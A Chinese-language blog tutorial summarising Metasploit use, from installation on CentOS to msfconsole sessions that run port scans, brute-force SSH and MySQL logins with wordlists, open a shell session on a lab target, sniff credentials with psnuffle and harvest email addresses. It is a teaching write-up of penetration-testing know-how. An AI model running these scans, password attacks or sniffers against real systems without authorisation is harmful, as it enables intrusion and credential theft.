MetaSploit安全渗透测试全面总结

墨蓝 2022-12-07 12:50 744阅读 0赞

### MetaSploit安全渗透测试总结 ###

*  MetaSploit简介
 *  专业术语
 *   *  1. Exploit\_渗透攻击
     *  2. Payload\_攻击载荷
     *  3. shellcode
     *  4. Module\_模块
     *  5. Listener\_监听器
 *  Centos7安装metasploit
 *   *  官网下载最新rpm包
     *  安装
     *  配置postgres数据库
     *   *  创建用户和数据库并授权
         *  创建metasploit数据配置信息
         *  使配置生效
     *  启动控制台
 *  MetaSploit教程（渗透测试框架）
 *   *  MetaSploit进行端口扫描
     *   *  查看Metasploit框架提供的端口扫描工具：
         *  使用Metasploit的SYN端口扫描器对单个主机进行一次简单的扫描：
         *  设定RHOST参数为192.168.119.132，线程数为50
     *  MetaSploit进行SSH服务扫描
     *  MetaSploit进行FTP服务扫描
     *  使用MSF生成木马实现远程控制服务器
     *  利用Metasploit获取mysql弱口令
     *   *  查询mysql服务相关模块信息：
         *  选择mysql\_login模块：
         *  查看mysql\_login配置选项信息：
         *  设置RHOSTS参数为靶机IP：
         *  设置用户名字典，使用系统字典，也可以指定自己创建的用户字典：
         *  设置密码字典，使用系统字典，也可以指定自己创建的密码字典：
         *  执行攻击：
     *  Telnet服务扫描
     *  pnsuffle口令嗅探
     *  代理服务器探测
     *  网站目录扫描
     *  搜集特定地址的邮件地址
     *  主机探测和端口扫描
     *  端口扫描与服务类型探测

# MetaSploit简介 #

Metasploit是一款开源安全漏洞检测工具，附带数百个已知的软件漏洞，并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。

这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起，使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ，并且不断更新。

Metasploit 渗透测试框架（MSF3.4）包含3功能模块：msfconsole、msfweb、msfupdate。msfupdate用于软件更新，建议使用前先进行更新，可以更新最新的漏洞库和利用代码。msfconsole 是整个框架中最受欢迎的模块，个人感觉也是功能强大的模块，所有的功能都可以该模块下运行。msfweb 是Metasploit framework的web组件支持多用户，是Metasploit图形化接口。

# 专业术语 #

## 1. Exploit\_渗透攻击 ##

攻击者利用一个安全漏洞所进行的**攻击行为**。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击（如SQL注入），及利用配置错误等。

## 2. Payload\_攻击载荷 ##

是我们期望目标系统在**被渗透攻击之后**去执行的**代码**。

## 3. shellcode ##

在渗透攻击时作为攻击载荷运行的**一组机器命令**。shellcode通常以**汇编语言**编写。

## 4. Module\_模块 ##

一个模块是指Metasploit框架中所使用的**一段软件代码组件**。 比如说：渗透攻击模块（exploit module），辅助模块（auxiliary module）

## 5. Listener\_监听器 ##

等待被渗透主机连入网络的连接的组件

# Centos7安装metasploit #

参考链接：CSDN：[Hua Tony][]：[Centos7.7安装metasploit][Centos7.7_metasploit]

## 官网下载最新rpm包 ##

wget https://rpm.metasploit.com/metasploit-omnibus/pkg/metasploit-framework-6.0.5%2B20200908102445~1rapid7-1.el6.x86_64.rpm

![在这里插入图片描述][20200909095851824.png_pic_center]

## 安装 ##

yum install metasploit-framework-6.0.5+20200908102445~1rapid7-1.el6.x86_64.rpm

## 配置postgres数据库 ##

参考链接：博客园：[低调的拉风][Link 1] ：[centos 7 下metasploit安装以及配置数据库][centos 7 _metasploit]

首先使用docker安装postgres数据库。

docker run -d --name postgresql9.6 -e ALLOW_IP_RANGE=0.0.0.0/0 -e POSTGRES_USER=postgres -e POSTGRES_PASSWORD=postgres -v /var/minio/postgresql/data:/var/lib/postgresql/data -p 5432:5432 kartoza/postgis:9.6-2.4

### 创建用户和数据库并授权 ###

create user msf with password 'postgres' nocreatedb;
    create database msf1 with owner ='msf';

### 创建metasploit数据配置信息 ###

vim /opt/metasploit-framework/database.yml

写入以下内容：

production:
     adapter: postgresql
     database: msf1
     username: msf
     password: postgres
     host: 127.0.0.1
     port: 5432
     pool: 75
     timeout: 5

### 使配置生效 ###

echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/database.yml >> /etc/bashrc
    source ~/.bashrc

## 启动控制台 ##

进入到metasploit安装目录：`/opt/metasploit-framework/bin`启动控制台`msfconsole`。

![img][]

# MetaSploit教程（渗透测试框架） #

参考链接：付杰博客：[Metasploit 教程（渗透测试框架）][Metasploit]

## MetaSploit进行端口扫描 ##

参考链接：博客园：[西戎][Link 2]：[使用Metasploit进行端口扫描][Metasploit 1]

[C0cho][]：[Metasploit分类][C0cho]

CSDN：[TravisZeng][]：[metasploit][]

[WEL测试][WEL]：[安全渗透测试学习笔记][Link 3]

### 查看Metasploit框架提供的端口扫描工具： ###

msf > search portscan
     
    Matching Modules
    ================
     
       Name                                              Disclosure Date  Rank    Description
       ----                                              ---------------  ----    -----------
       auxiliary/scanner/http/wordpress_pingback_access                   normal  Wordpress Pingback Locator
       auxiliary/scanner/natpmp/natpmp_portscan                           normal  NAT-PMP External Port Scanner
       auxiliary/scanner/portscan/ack                                     normal  TCP ACK Firewall Scanner
       auxiliary/scanner/portscan/ftpbounce                               normal  FTP Bounce Port Scanner
       auxiliary/scanner/portscan/syn                                     normal  TCP SYN Port Scanner
       auxiliary/scanner/portscan/tcp                                     normal  TCP Port Scanner
       auxiliary/scanner/portscan/xmas                                    normal  TCP "XMas" Port Scanner

### 使用Metasploit的SYN端口扫描器对单个主机进行一次简单的扫描： ###

msf > use scanner/portscan/syn

### 设定RHOST参数为192.168.119.132，线程数为50 ###

RHOSTS => 192.168.119.132
    msf  auxiliary(syn) > set THREADS 50
    THREADS => 50
    msf  auxiliary(syn) > run
     
    [*]  TCP OPEN 192.168.119.132:80
    [*]  TCP OPEN 192.168.119.132:135
    [*]  TCP OPEN 192.168.119.132:139
    [*]  TCP OPEN 192.168.119.132:1433
    [*]  TCP OPEN 192.168.119.132:2383
    [*]  TCP OPEN 192.168.119.132:3306
    [*]  TCP OPEN 192.168.119.132:3389
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed

## MetaSploit进行SSH服务扫描 ##

参考链接：CSDN：WEL测试：[使用Kali上的Metasploit获取ssh登录到靶机权限][Kali_Metasploit_ssh]

ssh服务常用端口为22：

msf6 auxiliary(scanner/telnet/telnet_version) > use auxiliary/scanner/ssh/ssh_version 
    msf6 auxiliary(scanner/ssh/ssh_version) > show options
    
    Module options (auxiliary/scanner/ssh/ssh_version):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
       RPORT    22               yes       The target port (TCP)
       THREADS  1                yes       The number of concurrent threads (max one per host)
       TIMEOUT  30               yes       Timeout for the SSH probe
    
    msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.1.0.1
    RHOSTS => 192.168.0.50
    msf6 auxiliary(scanner/ssh/ssh_version) > set THREADS 50
    THREADS => 50
    msf6 auxiliary(scanner/ssh/ssh_version) > run
    
    [+] 192.168.0.50:22       - SSH server version: SSH-2.0-OpenSSH_7.4 ( service.version=7.4 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:7.4 service.protocol=ssh fingerprint_db=ssh.banner )
    [*] 192.168.0.50:22       - Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf6 auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_login
    msf6 auxiliary(scanner/ssh/ssh_login) > set THREADS 50
    THREADS => 50
    msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME root
    USERNAME => root
    msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/big.txt
    PASS_FILE => /root/big.txt
    msf6 auxiliary(scanner/ssh/ssh_login) > run
    [-] Auxiliary failed: Msf::OptionValidateError One or more options failed to validate: PASS_FILE, RHOSTS.
    msf6 auxiliary(scanner/ssh/ssh_login) >

![img][img 1]

再可以利用ssh\_login模块进行SSH服务口令破解

![img][img 2]

![img][img 3]

通过暴力破解知道密码为ubuntu

![img][img 4]

退出攻击，CTRL+C，查看会话列表：sessions -l

![img][img 5]

进入指定会话：sessions -i 1，进入到会话1，执行shell命令如下截图：

![img][img 6]

![img][img 7]

上述操作时通过，ssh\_login模块获取到靶机的ssh会话信息，通过会话可以操作靶机上的信息，删除创建文件等。

## MetaSploit进行FTP服务扫描 ##

## 使用MSF生成木马实现远程控制服务器 ##

## 利用Metasploit获取mysql弱口令 ##

参考链接：CSDN：WEL测试：[使用Kali上的Metasploit进行获取mysql登录密码信息][Kali_Metasploit_mysql]

### 查询mysql服务相关模块信息： ###

search mysql

### 选择mysql\_login模块： ###

use  auxiliary/scanner/mysql/mysql_login

![img][img 8]

### 查看mysql\_login配置选项信息： ###

show options

![img][img 9]

### 设置RHOSTS参数为靶机IP： ###

set RHOSTS 192.168.88.137

![img][img 10]

### 设置用户名字典，使用系统字典，也可以指定自己创建的用户字典： ###

set USER_FILE /usr/share/metasploit-framework/data/wordlists/mirai_user.txt

![img][img 11]

### 设置密码字典，使用系统字典，也可以指定自己创建的密码字典： ###

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/mirai_pass.txt

![img][img 12]

### 执行攻击： ###

exploit

![img][img 13]

![img][img 14]

获取用户名为root，用户为root，与初始设置的mysql值一致，至此成功获取mysql的root用户的登录权限。

## Telnet服务扫描 ##

telnet服务的常用端口是23：

msf > use auxiliary/scanner/telnet/telnet_version
    
    msf auxiliary(telnet_version) > show options
    
    msf auxiliary(telnet_version) > set RHOSTS 10.10.10.254
    RHOSTS => 10.10.10.254
    msf auxiliary(telnet_version) > set THREADS 50
    THREADS => 50
    msf auxiliary(telnet_version) > run

![img][img 15]

## pnsuffle口令嗅探 ##

可以截获常见协议的身份认证过程，并将用户名和口令信息记录下来。

msf6 auxiliary(scanner/ssh/ssh_login) > use auxiliary/sniffer/psnuffle 
    msf6 auxiliary(sniffer/psnuffle) > show options
    
    Module options (auxiliary/sniffer/psnuffle):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       FILTER                      no        The filter string for capturing traffic
       INTERFACE                   no        The name of the interface
       PCAPFILE                    no        The name of the PCAP capture file to process
       PROTOCOLS  all              yes       A comma-delimited list of protocols to sniff or "all".
       SNAPLEN    65535            yes       The number of bytes to capture
       TIMEOUT    500              yes       The number of seconds to wait for new data
    
    
    Auxiliary action:
    
       Name     Description
       ----     -----------
       Sniffer  Run sniffer
    
    
    msf6 auxiliary(sniffer/psnuffle) > run
    [*] Auxiliary module running as background job 0.
    msf6 auxiliary(sniffer/psnuffle) > 
    [*] Loaded protocol FTP from /opt/metasploit-framework/embedded/framework/data/exploits/psnuffle/ftp.rb...
    [*] Loaded protocol IMAP from /opt/metasploit-framework/embedded/framework/data/exploits/psnuffle/imap.rb..

![img][img 16]

![img][img 17]

可以看到，嗅探到FTP服务10.10.10.129链接到10.10.10.254的用户名和密码

## 代理服务器探测 ##

当如果靶机开启了代理服务器来隐藏自己身份的时候，我们使用auxiliary/scanner/http/open\_proxy，可以探测到代理服务器的使用

## 网站目录扫描 ##

借助metasploit中的brute\_dir,dir\_listing,dir\_scanner等辅助模块来完成，主要使用暴力破解的方式工作。

![img][img 18]

可以看到，在这个testfire.net中存在有几个隐藏目录（返回代码403：没有权限访问）

## 搜集特定地址的邮件地址 ##

search\_email\_collector  
要求提供一个邮箱后缀，通过多个搜索引擎的查询结果分析使用此后缀的邮箱地址，可以很方便的获得大量邮件地址。

![img][img 19]

## 主机探测和端口扫描 ##

*  使用metasploit中的modules/auxiliary/scanner/discovery中的arp\_sweep或者udp\_sweep

arp\_sweep使用ARP请求美剧本地局域网中的所有活跃主机

udp\_sweep通过发送UDP数据包探查制定主机是否活跃，并发现主机上的UDP服务

![img][img 20]

*  使用nmap工具来探测

默认参数下，nmap使用发送ICMP请求来探测存活主机（即-sP选项）

![img][img 21]

如果是在INTERNET环境中，则应该使用-Pn选项，不要使用ICMP ping扫描，因为ICMP数据包通常无法穿透Internet上的网络边界；还可以使用-PU通过对开放的UDP端口进行探测以确定存活的主机。

可以使用-O选项辨识目标主机的操作系统；再加以-sV选项辨识操作系统中运行的服务的类型信息

![img][img 22]

## 端口扫描与服务类型探测 ##

利用nmap或者metasploit中的auxiliary/scanner/portscan中的扫描器进行端口扫描

![img][img 23]

ack：通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测；

ftpbounce：通过FTP BOUNCE攻击的原理对TCP服务进行枚举

syn：使用发送TCP SYN标志的方式探测开放的端口

tcp：通过一次完整的TCP链接来判断端口是否开放

xmas：一种更为隐蔽的扫描方式，通过发送FIN,PSH,URG标志能够躲避一些TCP标记检测器的过滤

![img][img 24]

常用nmap扫描类型参数：

\-sT:TCP connect扫描

\-sS:TCP syn扫描

\-sF/-sX/-sN:通过发送一些标志位以避开设备或软件的检测

\-sP:ICMP扫描

\-sU:探测目标主机开放了哪些UDP端口

\-sA:TCP ACk扫描

扫描选项：

\-Pn:在扫描之前，不发送ICMP echo请求测试目标是否活跃

\-O:辨识操作系统等信息

\-F:快速扫描模式

\-p<端口范围>：指定端口扫描范围

![img][img 25]

![img][img 26]

[Hua Tony]: https://blog.csdn.net/weixin_50087571
[Centos7.7_metasploit]: https://blog.csdn.net/weixin_50087571/article/details/108483367
[20200909095851824.png_pic_center]: /images/20221123/1091e01faff84b648b9d360a2a0ddb49.png
[Link 1]: https://www.cnblogs.com/hign/
[centos 7 _metasploit]: https://www.cnblogs.com/hign/p/12118907.html
[img]: /images/20221123/e53bc46bfd924abd8f2a077498d5e946.png
[Metasploit]: https://www.fujieace.com/metasploit/tutorials.html
[Link 2]: https://home.cnblogs.com/u/evilxr/
[Metasploit 1]: https://www.cnblogs.com/evilxr/p/3840593.html
[C0cho]: https://choge.top/categories/Metasploit/
[TravisZeng]: https://blog.csdn.net/qq_34841823
[metasploit]: https://blog.csdn.net/qq_34841823/category_6514207.html
[WEL]: https://blog.csdn.net/henni_719
[Link 3]: https://blog.csdn.net/henni_719/category_7120009.html
[Kali_Metasploit_ssh]: https://blog.csdn.net/henni_719/article/details/88916095
[img 1]: /images/20221123/4fdfc1a39127432b80301ced66de63d5.png
[img 2]: /images/20221123/6d06a11d5b6949b6ad91dcdc03bbd45a.png
[img 3]: /images/20221123/452f22aa7d684667b4c33c502c79d62c.png
[img 4]: /images/20221123/1a6d8a30fcf3468cb9d5fab81259f387.png
[img 5]: /images/20221123/b0c5a34e3fc24fc487ed20d80a3eb4a7.png
[img 6]: /images/20221123/582439917df345e29243f1ce0ba15d58.png
[img 7]: /images/20221123/cee2f589009b4523a1c0de6bf9bf5346.png
[Kali_Metasploit_mysql]: https://blog.csdn.net/henni_719/article/details/88915597
[img 8]: /images/20221123/14e1f02d15c74cada5895a7bef70bf0c.png
[img 9]: /images/20221123/4205cc2ca0e0405e8479c5a4d5a5211e.png
[img 10]: /images/20221123/fd990f9e22c6458fb5cd3924d1ea0444.png
[img 11]: /images/20221123/bd6711d629cc4c81a8edb4773097b3bc.png
[img 12]: /images/20221123/27d634095c7647279be56c072aa7d2e1.png
[img 13]: /images/20221123/9cb071523c7f43eab0ddaea940377198.png
[img 14]: /images/20221123/8eea6d4aaf4b492cb993e51c83f5bbfd.png
[img 15]: /images/20221123/9f5df28fa103403f9f17e4527af218ab.png
[img 16]: /images/20221123/dd076503865c48bba2edf77fffb868ec.png
[img 17]: /images/20221123/c274fba7f92c4adc899b9978c14a6efb.png
[img 18]: /images/20221123/08f5f165b48c4e85a1a3b9da73e418aa.png
[img 19]: /images/20221123/7277f4cd019d4bad85447499f43bef48.png
[img 20]: /images/20221123/b004116ee99449c9a534ed2bfe95798a.png
[img 21]: /images/20221123/16efd0737b414c95bd3db718f10e5841.png
[img 22]: /images/20221123/c5d84ebe6289453d8f7e66f87f61329a.png
[img 23]: /images/20221123/54ef7dd927414d4c919a9423cc60061b.png
[img 24]: /images/20221123/8270ebcebcd34338ac5ce85f361943c2.png
[img 25]: /images/20221123/f9e3863a56884df9874a06648880c624.png
[img 26]: /images/20221123/6605a16f556345c59c02be8d510eaa42.png